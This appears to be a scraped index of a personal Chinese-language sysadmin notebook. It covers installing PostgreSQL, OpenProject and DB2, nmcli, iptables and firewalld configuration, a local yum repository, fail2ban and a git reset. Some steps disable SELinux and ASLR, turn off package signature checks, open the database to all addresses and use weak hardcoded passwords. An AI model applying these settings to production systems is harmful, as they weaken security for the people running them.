myspell/hunspell packages... Removing obsolete dictionary files: Created symlink /etc/systemd/system/multi-user.target.wants/postgresql.service → /lib/systemd/system/postgresql.service. Setting up postgresql-14 (14.15-1.pgdg120+1) ... Creating new PostgreSQL cluster 14/main ... /usr/lib/postgresql/14/bin/initdb -D /var/lib/postgresql/14/main --auth-local peer --auth-host scram-sha-256 --no-instructions The files belonging to this database system will be owned by user \u0026#34;postgres\u0026#34;. This user must also own the server process. The database cluster will be initialized with locale \u0026#34;en_US.UTF-8\u0026#34;. The default database encoding has accordingly been set to \u0026#34;UTF8\u0026#34;. The default text search configuration will be set to \u0026#34;english\u0026#34;. Data page checksums are disabled. fixing permissions on existing directory /var/lib/postgresql/14/main ... ok creating subdirectories ... ok selecting dynamic shared memory implementation ... posix selecting default max_connections ... 100 selecting default shared_buffers ... 128MB selecting default time zone ... Asia/Taipei creating configuration files ... ok running bootstrap script ... ok performing post-bootstrap initialization ... ok syncing data to disk ... ok Processing triggers for man-db (2.11.2-2) ... Processing triggers for libc-bin (2.36-9+deb12u9) ... pollochang@pl-dns-01:~$ 新增資料庫 # 使用 postgresql 主機帳號\n1 2 sudo su - postgres psql 1 2 3 4 CREATE DATABASE pdnsdb; CREATE USER pdns WITH PASSWORD \u0026#39;pdnsPassword\u0026#39;; GRANT CONNECT ON DATABASE pdnsdb TO pdns; ALTER DATABASE pdnsdb OWNER TO pdns; 1 2 3 4 CREATE DATABASE pdnsadmindb; CREATE USER pdnsadmin WITH PASSWORD \u0026#39;pdnsPassword\u0026#39;; GRANT CONNECT ON DATABASE pdnsadmindb TO pdnsadmin; ALTER DATABASE pdnsadmindb OWNER TO pdnsadmin; 執行結果\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 pollochang@pl-dns-01:~$ sudo su - postgres postgres@pl-dns-01:~$ psql psql (14.15 (Debian 14.15-1.pgdg120+1)) Type \u0026#34;help\u0026#34; for help. postgres=# CREATE DATABASE pdnsdb; CREATE DATABASE postgres=# CREATE USER pdns WITH PASSWORD \u0026#39;pdnsPassword\u0026#39;; CREATE ROLE postgres=# GRANT CONNECT ON DATABASE pdnsdb TO pdns; GRANT postgres=# ALTER DATABASE pdnsdb OWNER TO pdns; ALTER DATABASE postgres=# 設定資料庫連線 # /etc/postgresql/14/main/postgresql.conf 1 2 # 設定監聽IP listen_addresses = \u0026#39;*\u0026#39; /etc/postgresql/14/main/pg_hba.conf 1 2 # 設定資料庫允許連線 host all all 192.168.56.1/32 scram-sha-256 改完記得重起資料庫\n1 systemctl restart postgresql ","date":"December 22, 2024","externalUrl":null,"permalink":"/worknot/install-postgresql-on-debian12/","section":"Worknots","summary":"環境 # OS: Debian 12 Database version: postgresql 14 安裝 # 1 2 3 4 5 6 sudo apt -y install curl ca-certificates sudo install -d /usr/share/postgresql-common/pgdg sudo curl -o /usr/share/postgresql-common/pgdg/apt.postgresql.org.asc --fail https://www.postgresql.org/media/keys/ACCC4CF8.asc sudo sh -c 'echo \"deb [signed-by=/usr/share/postgresql-common/pgdg/apt.postgresql.org.asc] https://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main\" \u003e /etc/apt/sources.list.d/pgdg.list' sudo apt update sudo apt -y install postgresql-14 執行結果\n","title":"Install Postgresql on Debian12","type":"worknot"},{"content":"","date":"December 22, 2024","externalUrl":null,"permalink":"/categories/postgresql/","section":"Categories","summary":"","title":"Postgresql","type":"categories"},{"content":"","date":"December 18, 2024","externalUrl":null,"permalink":"/tags/networkmanager/","section":"Tags","summary":"","title":"NetworkManager","type":"tags"},{"content":" 處理前動作 # 檢查文件中已經有配置: /etc/network/interfaces 如果有需要註解，範例如下:\n1 2 3 # The primary network interface # allow-hotplug enp1s0 # iface enp1s0 inet dhcp 新增網卡配置 # 1 sudo nmcli connection add type ethernet con-name enp1s0 ifname enp1s0 ipv4.addresses 192.168.56.100/24 gw4 192.168.56.1 ipv4.dns 127.0.0.1 ipv4.method manual 設定完需要重起 NetworkManager\n1 sudo systemctl restart NetworkManager 修改網卡配置 # 新增額外的DNS 1 sudo nmcli connection modify enp1s0 +ipv4.dns 8.8.8.8 修改網址 1 sudo nmcli connection modify enp1s0 ipv4.addresses 192.168.17.208/24 修改 gateway 1 sudo nmcli connection modify enp1s0 ipv4.gateway 192.168.17.254 修改DNS 1 sudo nmcli connection modify enp1s0 ipv4.dns 192.168.1.1 設定網卡為手動配置 1 sudo nmcli connection modify enp1s0 ipv4.method manual 維護常用指令 # 列出網卡 1 sudo nmcli device 重起網卡 1 2 sudo nmcli connection down enp1s0 sudo nmcli connection up enp1s0 ","date":"December 18, 2024","externalUrl":null,"permalink":"/worknot/nmcli/","section":"Worknots","summary":"處理前動作 # 檢查文件中已經有配置: /etc/network/interfaces 如果有需要註解，範例如下:\n1 2 3 # The primary network interface # allow-hotplug enp1s0 # iface enp1s0 inet dhcp 新增網卡配置 # 1 sudo nmcli connection add type ethernet con-name enp1s0 ifname enp1s0 ipv4.addresses 192.168.56.100/24 gw4 192.168.56.1 ipv4.dns 127.0.0.1 ipv4.method manual 設定完需要重起 NetworkManager\n","title":"nmcli 指令操作","type":"worknot"},{"content":"","date":"November 21, 2024","externalUrl":null,"permalink":"/tags/firewalld/","section":"Tags","summary":"","title":"Firewalld","type":"tags"},{"content":"","date":"November 21, 2024","externalUrl":null,"permalink":"/tags/iptables/","section":"Tags","summary":"","title":"Iptables","type":"tags"},{"content":" 關閉 centos7 防火牆 firewalld 改用傳統的 iptables # 這樣做的原因 # 因為firewalld 政策是對外嚴謹對內寬鬆，所以當需求是需要對內嚴謹時無法滿足需求\n處理方式 # 預設開機不啟動 且 立即停止\n1 systemctl disable --now firewalld 改用傳統的 iptables-services , 安裝\n1 yum install iptables-utils iptables-services -y 設定網路 # 清空 # 1 2 3 sudo iptables -F sudo iptables -X sudo iptables -Z 允許輸入 # 1 2 3 sudo iptables -I INPUT 1 -s 192.168.56.0/24 -j ACCEPT sudo iptables -A INPUT -i lo -j ACCEPT sudo iptables -A INPUT -s 0.0.0.0/0 -j DROP 允許輸出 # 1 2 sudo iptables -I OUTPUT 1 -d 192.168.56.0/24 -j ACCEPT sudo iptables -A OUTPUT -d 0.0.0.0/0 -j DROP 儲存 # 1 sudo iptables save ","date":"November 21, 2024","externalUrl":null,"permalink":"/worknot/%E9%97%9C%E9%96%89centos7%E9%98%B2%E7%81%AB%E7%89%86firewalld%E6%94%B9%E7%94%A8%E5%82%B3%E7%B5%B1%E7%9A%84iptables/","section":"Worknots","summary":"關閉 centos7 防火牆 firewalld 改用傳統的 iptables # 這樣做的原因 # 因為firewalld 政策是對外嚴謹對內寬鬆，所以當需求是需要對內嚴謹時無法滿足需求\n","title":"關閉centos7防火牆firewalld改用傳統的iptables","type":"worknot"},{"content":" firewalld 問題整理 # AllowZoneDrifting is enabled. # 出現 AllowZoneDrifting is enabled. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [root@ex-ap test]# systemctl status firewalld ● firewalld.service - firewalld - dynamic firewall daemon Loaded: loaded (/usr/lib/systemd/system/firewalld.service; disabled; vendor preset: enabled) Active: active (running) since Sun 2022-02-13 09:58:54 CST; 2s ago Docs: man:firewalld(1) Main PID: 7200 (firewalld) Tasks: 2 CGroup: /system.slice/firewalld.service └─7200 /usr/bin/python2 -Es /usr/sbin/firewalld --nofork --nopid Feb 13 09:58:53 ex-ap systemd[1]: Starting firewalld - dynamic firewall daemon... Feb 13 09:58:54 ex-ap systemd[1]: Started firewalld - dynamic firewall daemon. Feb 13 09:58:54 ex-ap firewalld[7200]: WARNING: AllowZoneDrifting is enabled. This is considered an insecure configuration option. It wil... it now. Hint: Some lines were ellipsized, use -l to show in full. 解決方式 修改 /etc/firewalld/firewalld.conf 中的 AllowZoneDrifting 參數改為 no\n修改完成後重起firewalld\n","date":"November 21, 2024","externalUrl":null,"permalink":"/worknot/firewalld-common-questions/","section":"Worknots","summary":"firewalld 問題整理 # AllowZoneDrifting is enabled. # 出現 AllowZoneDrifting is enabled. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [root@ex-ap test]# systemctl status firewalld ● firewalld.service - firewalld - dynamic firewall daemon Loaded: loaded (/usr/lib/systemd/system/firewalld.service; disabled; vendor preset: enabled) Active: active (running) since Sun 2022-02-13 09:58:54 CST; 2s ago Docs: man:firewalld(1) Main PID: 7200 (firewalld) Tasks: 2 CGroup: /system.slice/firewalld.service └─7200 /usr/bin/python2 -Es /usr/sbin/firewalld --nofork --nopid Feb 13 09:58:53 ex-ap systemd[1]: Starting firewalld - dynamic firewall daemon... Feb 13 09:58:54 ex-ap systemd[1]: Started firewalld - dynamic firewall daemon. Feb 13 09:58:54 ex-ap firewalld[7200]: WARNING: AllowZoneDrifting is enabled. This is considered an insecure configuration option. It wil... it now. Hint: Some lines were ellipsized, use -l to show in full. 解決方式 修改 /etc/firewalld/firewalld.conf 中的 AllowZoneDrifting 參數改為 no\n","title":"Firewalld Common Questions","type":"worknot"},{"content":"以下是 firewalld 學習筆記\nfirewall 網路來源優先 # 有設定 IP source 優先 有設定 網卡 優先 預設區域 區域簡介 # firewalld 的區域（zone）可用來設定網路連線、介面等所處的運作環境，對內使用的區域其防火牆規則會較為寬鬆，反之若是對外的區域其規則會較為嚴謹。\n一條網路連線或介面只能隸屬於一個區域，我們可以自訂區域的設定，也可以直接從 firewalld 預設的幾個區域中選擇：\n區域 描述 drop 任何往內的封包都會被丟棄，只允許往外傳送的封包。 block 任何來自於外部的連線都會被阻擋，只允許自己系統主動建立的連線。 public 公開區域，預設不信任其他電腦與網路，只有被允許的連線才能進入。通常大部分的連線設定都會放在這裡。 external 公開區域，適用於 NAT 網路環境。 dmz 非軍事區域（demilitarized zone，有點像是放在外頭的危險區域），允許外部的連線進入，但其對內的連線則有限制，只有被允許的連線才能連進內部網路。 work 公司內部等工作區域，在此區域中不應該會有惡意的攻擊者。只有被允許的連線可以進入。 home 家裡頭的網路區域，在此區域中不應該會有惡意的攻擊者。只有被允許的連線可以進入。 internal 內部網路區域，在此區域中不應該會有惡意的攻擊者。只有被允許的連線可以進入。 trusted 完全信任的區域，接受所有連線。 libvirt KVM 主機介面 docker docker 網路介面 firewall-cmd命令中使用的參數以及作用 # 參數 作用 \u0026ndash;get-default-zone 查訪默認的區域名稱 \u0026ndash;set-default-zone=\u0026lt;區域名稱\u0026gt; 設置默認的區域，使其永久生效 \u0026ndash;get-zones 顯示可用的區域 \u0026ndash;get-services 顯示預定義的服務 \u0026ndash;get-active-zones 顯示當前正在使用的區域、來源地址和網卡名稱 \u0026ndash;add-source= 將源自此IP或子網的流量導向指定的區域 \u0026ndash;remove-source= 不再將源自此IP或子網的流量導向這個區域 \u0026ndash;add-interface=\u0026lt;網卡名稱\u0026gt; 將源自該網卡的所有流量都導向某個指定區域 \u0026ndash;change-interface=\u0026lt;網卡名稱\u0026gt; 將某個網卡與區域進行關聯 \u0026ndash;list-all 顯示當前區域的網卡配置參數、資源、端口以及服務等信息 \u0026ndash;list-all-zones 顯示所有區域的網卡配置參數、資源、端口以及服務等信息 \u0026ndash;add-service=\u0026lt;服務名\u0026gt; 設置默認區域允許該服務的流量 \u0026ndash;add-port=\u0026lt;端口號/協議\u0026gt; 設置默認區域允許該端口的流量 \u0026ndash;remove-service=\u0026lt;服務名\u0026gt; 設置默認區域不再允許該服務的流量 \u0026ndash;remove-port=\u0026lt;端口號/協議\u0026gt; 設置默認區域不再允許該端口的流量 \u0026ndash;reload 讓“永久生效”的配置規則立即生效，並覆蓋當前的配置規則 \u0026ndash;panic-on 開啟應急狀況模式 \u0026ndash;panic-off 關閉應急狀況模式 遷移網卡到別的區域 # 查詢網卡名稱 1 sudo ifconfig 移除網卡原有區域 新增至目標區域 1 2 3 sudo firewall-cmd --permanent --zone=public --change-interface=ens160 sudo firewall-cmd --permanent --zone=trusted --change-interface=virbr1 sudo firewall-cmd --permanent --zone=internal --change-interface=eth1 查詢那協正在運作的 zone # 1 sudo firewall-cmd --get-active-zones 規則 # 開放特定 port # 1 2 3 sudo firewall-cmd --permanent --zone=public --add-port=10010/tcp sudo firewall-cmd --permanent --zone=public --add-port=10020/tcp sudo firewall-cmd --permanent --zone=libvirt --add-port=33899/tcp 設定IP 只通哪個Port # 1 sudo firewall-cmd --permanent --zone=public --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;192.168.56.1\u0026#34; accept\u0026#39; 允許特定IP/網段 # 1 sudo firewall-cmd --permanent --zone=public --remove-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;172.18.17.0/24\u0026#34; accept\u0026#39; 注意事項 # 設定完需要重新讀取設定 1 2 ## 重新讀取設定 sudo firewall-cmd --reload 檢查默認區域設置 # 1 sudo firewall-cmd --list-all 1 sudo firewall-cmd --list-internal 檢查永久設置 1 firewall-cmd --zone=work --list-all --permanent 查看指定區域設置 # 1 sudo firewall-cmd --zone=trusted --list-all 查詢版本 # 1 sudo firewall-cmd --version 查看firewalld的運行狀態 # 1 firewall-cmd --state 參考資料 # CentOS 7 Firewalld 防火牆說明介紹\nfirewall direct rules\nfirewall-cmd\nfirewalld.richlanguage\nHow to Open Port for a Specific IP Address in Firewalld\n","date":"November 21, 2024","externalUrl":null,"permalink":"/worknot/firewalld/","section":"Worknots","summary":"以下是 firewalld 學習筆記\nfirewall 網路來源優先 # 有設定 IP source 優先 有設定 網卡 優先 預設區域 區域簡介 # firewalld 的區域（zone）可用來設定網路連線、介面等所處的運作環境，對內使用的區域其防火牆規則會較為寬鬆，反之若是對外的區域其規則會較為嚴謹。\n","title":"Firewalld 學習筆記","type":"worknot"},{"content":" 1 2 3 4 5 # firewall-cmd --add-forward-port=port=port-number:proto=tcp|udp|sctp|dccp:toport=port-number sudo firewall-cmd --query-masquerade # 查詢有IP 偽裝 sudo firewall-cmd --permanent --zone=public --add-masquerade sudo firewall-cmd --permanent --zone=public --add-forward-port=port=33822:proto=tcp:toport=22:toaddr=203.74.221.35 ","date":"November 21, 2024","externalUrl":null,"permalink":"/worknot/firewalld-forward-port/","section":"Worknots","summary":" 1 2 3 4 5 # firewall-cmd --add-forward-port=port=port-number:proto=tcp|udp|sctp|dccp:toport=port-number sudo firewall-cmd --query-masquerade # 查詢有IP 偽裝 sudo firewall-cmd --permanent --zone=public --add-masquerade sudo firewall-cmd --permanent --zone=public --add-forward-port=port=33822:proto=tcp:toport=22:toaddr=203.74.221.35 ","title":"Firewalld Forward Port 防火牆轉發","type":"worknot"},{"content":" 建立本地yum倉庫 # 生一個CentOS7 的環境 # local repository # 環境 # CentOS 7\n100GB 存放空間\n安裝工具 # yum install yum-utils createrepo -y\n啟用 EPEL # 1 2 sudo yum install epel-release sudo yum update 檢查 # 1 yum repolist yum-config-manager \u0026ndash;add-repo https://download.docker.com/linux/centos/docker-ce.repo\n下載 # 1 2 3 reposync -l --repoid=base --repoid=extras --repoid=updates --download_path=/var/www/html/centos/7 --download-metadata reposync -l --repoid=epel --download_path=/var/www/html/centos/ --download-metadata --newest-only reposync -l --repoid=docker-ce-stable --download_path=/var/www/html/centos/ --download-metadata --newest-only \u0026ndash;gpgcheck 檢查GPG，失敗澤刪除檔案\ngpgcheck是gpg簽名是否開啟的選項名稱，1是開啟，0是不開啟，一般內部部署軟體包下載可以關掉。\n\u0026ndash;newest-only 只抓最新的檔案\n建立本地yum倉庫 # 1 mkdir -p /home/yum/local/ 建立repo檔案 # /etc/yum.repos.d/local.repo\n1 2 3 4 5 [Local] name=Local Yum baseurl=file:///home/yum gpgcheck=0 enabled=1 1 2 3 4 5 [DVD] name=DVD Yum baseurl=file:///mnt/iso gpgcheck=0 enabled=1 安裝 createrepo # yum install createrepo\n同步 # rsync -avh \u0026ndash;exclude=logs /mnt/Intranet/centos7/docker-ce-stable root@192.168.111.20:/home/yum/local/ rsync -avh \u0026ndash;exclude=logs /mnt/Intranet/centos7/7/extras/Packages/*.rpm root@192.168.111.20:/home/yum/local/extras\n建立索引 # 1 2 createrepo /home/yum yum makecache 參考資料 # 企業生產環境都需要的「自建Yum源」\n","date":"November 21, 2024","externalUrl":null,"permalink":"/worknot/create-local-repository-for-yum/","section":"Worknots","summary":"建立本地yum倉庫 # 生一個CentOS7 的環境 # local repository # 環境 # CentOS 7\n","title":"Create Local Repository for Yum","type":"worknot"},{"content":"","date":"November 21, 2024","externalUrl":null,"permalink":"/tags/yum/","section":"Tags","summary":"","title":"Yum","type":"tags"},{"content":" 詳細錯誤訊息 # 1 2 3 4 Nov 18 12:17:01 91214Desktop CRON[204259]: PAM unable to dlopen(pam_pwquality.so): /lib/security/pam_pwquality.so: cannot open shared object file: No such file or directory Nov 18 12:17:01 91214Desktop CRON[204259]: PAM adding faulty module: pam_pwquality.so Nov 18 12:17:01 91214Desktop CRON[204259]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0) Nov 18 12:17:01 91214Desktop CRON[204259]: pam_unix(cron:session): session closed for user root 環境 # Debian 11 解決方式 # 1 2 3 sudo apt install libpam-pwquality sudo mkdir -p /lib/security sudo ln -s /lib/x86_64-linux-gnu/security/pam_pwquality.so /lib/security/pam_pwquality.so ","date":"November 18, 2024","externalUrl":null,"permalink":"/worknot/worknot-20241118-1/","section":"Worknots","summary":"詳細錯誤訊息 # 1 2 3 4 Nov 18 12:17:01 91214Desktop CRON[204259]: PAM unable to dlopen(pam_pwquality.so): /lib/security/pam_pwquality.so: cannot open shared object file: No such file or directory Nov 18 12:17:01 91214Desktop CRON[204259]: PAM adding faulty module: pam_pwquality.so Nov 18 12:17:01 91214Desktop CRON[204259]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0) Nov 18 12:17:01 91214Desktop CRON[204259]: pam_unix(cron:session): session closed for user root 環境 # Debian 11 解決方式 # 1 2 3 sudo apt install libpam-pwquality sudo mkdir -p /lib/security sudo ln -s /lib/x86_64-linux-gnu/security/pam_pwquality.so /lib/security/pam_pwquality.so ","title":"CRON[204259]: PAM unable to dlopen(pam_pwquality.so)","type":"worknot"},{"content":" 環境 # OS: Debain 11 RAM: 4G CPU: 4 Core 新增資料庫 # 1 2 3 4 5 su postgres -c psql CREATE DATABASE openprojectdb; CREATE USER openprojectap WITH PASSWORD \u0026#39;Pass@wd\u0026#39;; GRANT ALL ON DATABASE openprojectdb to openprojectap; ALTER USER openprojectap WITH PASSWORD \u0026#39;paddww\u0026#39;; 安裝指令 # 1 2 3 4 5 apt install -y apt-transport-https ca-certificates wget gpg wget -qO- https://dl.packager.io/srv/opf/openproject/key | gpg --dearmor \u0026gt; /etc/apt/trusted.gpg.d/packager-io.gpg wget -O /etc/apt/sources.list.d/openproject.list https://dl.packager.io/srv/opf/openproject/stable/15/installer/debian/11.repo apt update apt install openproject 1 sudo openproject configure \u0026ndash;base-url https://10.1.4.43/openproject\n","date":"November 18, 2024","externalUrl":null,"permalink":"/worknot/install-open-project-on-debain11/","section":"Worknots","summary":"環境 # OS: Debain 11 RAM: 4G CPU: 4 Core 新增資料庫 # 1 2 3 4 5 su postgres -c psql CREATE DATABASE openprojectdb; CREATE USER openprojectap WITH PASSWORD 'Pass@wd'; GRANT ALL ON DATABASE openprojectdb to openprojectap; ALTER USER openprojectap WITH PASSWORD 'paddww'; 安裝指令 # 1 2 3 4 5 apt install -y apt-transport-https ca-certificates wget gpg wget -qO- https://dl.packager.io/srv/opf/openproject/key | gpg --dearmor \u003e /etc/apt/trusted.gpg.d/packager-io.gpg wget -O /etc/apt/sources.list.d/openproject.list https://dl.packager.io/srv/opf/openproject/stable/15/installer/debian/11.repo apt update apt install openproject 1 sudo openproject configure –base-url https://10.1.4.43/openproject\n","title":"install-open-project-on-debain11","type":"worknot"},{"content":" 剛剛 commit 想要反悔 # 1 2 git reset master^ git reset --hard HEAD 處理結果\n1 2 3 4 5 6 7 8 9 ~/Documents/gitContent/data/tgroup/test on master ⇡3 ······································· ❯ git reset master^ Unstaged changes after reset: M build.gradle M grails-app/services/ex/ExampleService.groovy ~/Documents/gitContent/data/tgroup/test on master !2 ······································· ❯ git reset --hard HEAD HEAD is now at 7d0988b Merge branch \u0026#39;develop\u0026#39; of http://127.0.0.1/tgroup/test ","date":"November 13, 2024","externalUrl":null,"permalink":"/worknot/worknot-20241113-1/","section":"Worknots","summary":"剛剛 commit 想要反悔 # 1 2 git reset master^ git reset --hard HEAD 處理結果\n1 2 3 4 5 6 7 8 9 ~/Documents/gitContent/data/tgroup/test on master ⇡3 ······································· ❯ git reset master^ Unstaged changes after reset: M build.gradle M grails-app/services/ex/ExampleService.groovy ~/Documents/gitContent/data/tgroup/test on master !2 ······································· ❯ git reset --hard HEAD HEAD is now at 7d0988b Merge branch 'develop' of http://127.0.0.1/tgroup/test ","title":"Worknot 20241113 1","type":"worknot"},{"content":" fail2ban 安裝 # 1 apt install fail2ban -y 狀態 # 檢查監控的服務\n1 fail2ban-client status 檢查被攔阻的IP # 1 fail2ban-client status zimbra-smtp 設定完成後檢查 # 1 fail2ban-regex /var/log/zimbra.log /etc/fail2ban/filter.d/zimbra-smtp.conf 加载所有配置 # 1 fail2ban-client reload Ban an IP address # fail2ban-client set \u0026ldquo;Jail-Name\u0026rdquo; banip \u0026ldquo;IP-Address\u0026rdquo;\n1 fail2ban-client set sshd banip 10.137.26.29 Unban an IP address. # fail2ban-client set \u0026ldquo;Jail-Name\u0026rdquo; unbanip \u0026ldquo;Banned IP-Address\u0026rdquo;\n1 fail2ban-client set sshd unbanip 10.137.26.29 ","date":"November 13, 2024","externalUrl":null,"permalink":"/worknot/linux-fail2ban/","section":"Worknots","summary":"fail2ban 安裝 # 1 apt install fail2ban -y 狀態 # 檢查監控的服務\n","title":"Fail2ban","type":"worknot"},{"content":"","date":"November 13, 2024","externalUrl":null,"permalink":"/categories/db2/","section":"Categories","summary":"","title":"DB2","type":"categories"},{"content":" install-DB2-9.7-in-CentOS6 # # 1 yum install -y libaio ksh rsh-server pam-devel nfs-utils compat-libstdc++-33 libstdc++.i686 pam-devel.i686 compat-libstdc++-33.i686 1 rpm -qa | grep \u0026#34;ksh\\|openssh\\|rsh-server\\|nfs-utils\\|libaio\\|libstdc++\\|libstdc++.i686\\|pam-devel\\|pam-devel.i686\\|compat-libstdc++\u0026#34; 1 2 setenforce 0 sed -i \u0026#39;s/SELINUX=.*$/SELINUX=disabled/\u0026#39; /etc/selinux/config 修改核心參數 # 修改前 # 1 ipcs -l 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [root@db2-9-7 ~]# ipcs -l ------ Shared Memory Limits -------- max number of segments = 4096 max seg size (kbytes) = 67108864 max total shared memory (kbytes) = 17179869184 min seg size (bytes) = 1 ------ Semaphore Limits -------- max number of arrays = 128 max semaphores per array = 250 max semaphores system wide = 32000 max ops per semop call = 32 semaphore max value = 32767 ------ Messages: Limits -------- max queues system wide = 15736 max size of message (bytes) = 65536 default max size of queue (bytes) = 65536 修改參數檔 # /etc/sysctl.conf 1 2 fs.file-max = 16384 kernel.randomize_va_space = 0 1 sysctl -p 修改後 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [root@db2-9-7 ~]# ipcs -l ------ Shared Memory Limits -------- max number of segments = 4096 max seg size (kbytes) = 67108864 max total shared memory (kbytes) = 17179869184 min seg size (bytes) = 1 ------ Semaphore Limits -------- max number of arrays = 128 max semaphores per array = 250 max semaphores system wide = 32000 max ops per semop call = 32 semaphore max value = 32767 ------ Messages: Limits -------- max queues system wide = 15736 max size of message (bytes) = 65536 default max size of queue (bytes) = 65536 安裝 # 1 2 mkdir -p /db2/install tar -zxf /tmp/v9.7fp7_linuxx64_server.tar.gz -C /db2/install 1 2 ./db2prereqcheck ./db2_install -f NOTSAMP 1 2 3 4 5 6 7 8 AESE - 高級企業伺服器版（Advanced Enterprise Server Edition）：這是高端版本，適用於較大和更複雜的數據庫環境。 ESE - 企業伺服器版（Enterprise Server Edition）：適用於中大型環境，包含性能、可擴展性和可管理性功能。 CONSV - 連接伺服器（Connect Server）：提供 DB2 客戶端的連接功能。 WSE - 工作組伺服器版（Workgroup Server Edition）：適用於中小型企業，包含核心數據庫管理功能。 EXP - 快速入門版（Express-C）：免費版，適合開發和小型應用程序。 PE - 個人版（Personal Edition）：適合單一用戶的本地數據庫應用程序。 CLIENT - 客戶端：僅安裝 DB2 客戶端軟體，無服務器端功能。 RTCL - Runtime Client：運行時客戶端，適用於只需要 DB2 客戶端的執行環境。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 [root@db2-9-7 ~]# cd /db2/install/server/ [root@db2-9-7 server]# sudo ./db2_install -f NOTSAMP WARNING: DBT3534W The db2prereqcheck utility determined that ASLR is set to ON and that this could cause issues with some tools. WARNING: The 32-bit library file libpam.so is not found on the system. Default directory for installation of products - /opt/ibm/db2/V9.7 *********************************************************** Do you want to choose a different directory to install [yes/no] ? no Specify one of the following keywords to install DB2 products. AESE ESE CONSV WSE EXP PE CLIENT RTCL Enter \u0026#34;help\u0026#34; to redisplay product names. Enter \u0026#34;quit\u0026#34; to exit. *********************************************************** ESE WARNING: DBT3534W The db2prereqcheck utility determined that ASLR is set to ON and that this could cause issues with some tools. WARNING: The 32-bit library file libpam.so is not found on the system. DB2 installation is being initialized. Total number of tasks to be performed: 47 Total estimated time for all tasks to be performed: 1954 Task #1 start Description: Checking license agreement acceptance Estimated time 1 second(s) Task #1 end Task #2 start Description: Base Client Support for installation with root privileges Estimated time 3 second(s) Task #2 end Task #3 start Description: The DB2 required component. Estimated time 11 second(s) Task #3 end Task #4 start Description: Product Messages - English Estimated time 13 second(s) Task #4 end Task #5 start Description: Base client support Estimated time 202 second(s) Task #5 end Task #6 start Description: Java Runtime Support Estimated time 121 second(s) Task #6 end Task #7 start Description: Java Help (HTML) - English Estimated time 7 second(s) Task #7 end Task #8 start Description: Base server support for installation with root privileges Estimated time 7 second(s) Task #8 end Task #9 start Description: Global Secure ToolKit Estimated time 51 second(s) Task #9 end Task #10 start Description: Java support Estimated time 12 second(s) Task #10 end Task #11 start Description: SQL procedures Estimated time 3 second(s) Task #11 end Task #12 start Description: ICU Utilities Estimated time 40 second(s) Task #12 end Task #13 start Description: Java Common files Estimated time 20 second(s) Task #13 end Task #14 start Description: Base server support Estimated time 259 second(s) Task #14 end Task #15 start Description: IBM Software Development Kit (SDK) for Java(TM) Estimated time 35 second(s) Task #15 end Task #16 start Description: Control Center Help (HTML) - English Estimated time 13 second(s) Task #16 end Task #17 start Description: Connect support Estimated time 3 second(s) Task #17 end Task #18 start Description: Communication support - TCP/IP Estimated time 3 second(s) Task #18 end Task #19 start Description: Parallel Extension Estimated time 3 second(s) Task #19 end Task #20 start Description: EnterpriseDB code Estimated time 3 second(s) Task #20 end Task #21 start Description: Replication tools Estimated time 21 second(s) Task #21 end Task #22 start Description: Relational wrappers common Estimated time 3 second(s) Task #22 end Task #23 start Description: Control Center Estimated time 41 second(s) Task #23 end Task #24 start Description: Command Line Processor Plus Estimated time 6 second(s) Task #24 end Task #25 start Description: DB2 data source support Estimated time 6 second(s) Task #25 end Task #26 start Description: DB2 LDAP support Estimated time 4 second(s) Task #26 end Task #27 start Description: DB2 Instance Setup wizard Estimated time 8 second(s) Task #27 end Task #28 start Description: Integrated Flash Copy Support Estimated time 53 second(s) Task #28 end Task #29 start Description: Spatial Extender client Estimated time 3 second(s) Task #29 end Task #30 start Description: Base application development tools Estimated time 34 second(s) Task #30 end Task #31 start Description: DB2 Update Service Estimated time 4 second(s) Task #31 end Task #32 start Description: First Steps Estimated time 3 second(s) Task #32 end Task #33 start Description: Product Signature for DB2 Enterprise Server Edition Estimated time 5 second(s) Task #33 end Task #34 start Description: Sample database source Estimated time 4 second(s) Task #34 end Task #35 start Description: DB2 Text Search Estimated time 70 second(s) Task #35 end Task #36 start Description: Informix data source support Estimated time 4 second(s) Task #36 end Task #37 start Description: Setting DB2 library path Estimated time 180 second(s) Task #37 end Task #38 start Description: Executing control tasks Estimated time 20 second(s) Task #38 end Task #39 start Description: Updating global registry Estimated time 20 second(s) Task #39 end Task #40 start Description: Installing IBM Tivoli Monitoring for Databases Estimated time 600 second(s) Task #40 end Task #41 start Description: Starting DB2 Fault Monitor Estimated time 10 second(s) Task #41 end Task #42 start Description: Updating the db2ls link Estimated time 1 second(s) Task #42 end Task #43 start Description: Registering DB2 licenses Estimated time 5 second(s) Task #43 end Task #44 start Description: Setting default global profile registry variables Estimated time 1 second(s) Task #44 end Task #45 start Description: Initializing instance list Estimated time 5 second(s) Task #45 end Task #46 start Description: Registering DB2 Update Service Estimated time 30 second(s) Task #46 end Task #47 start Description: Updating global profile registry Estimated time 3 second(s) Task #47 end The execution completed 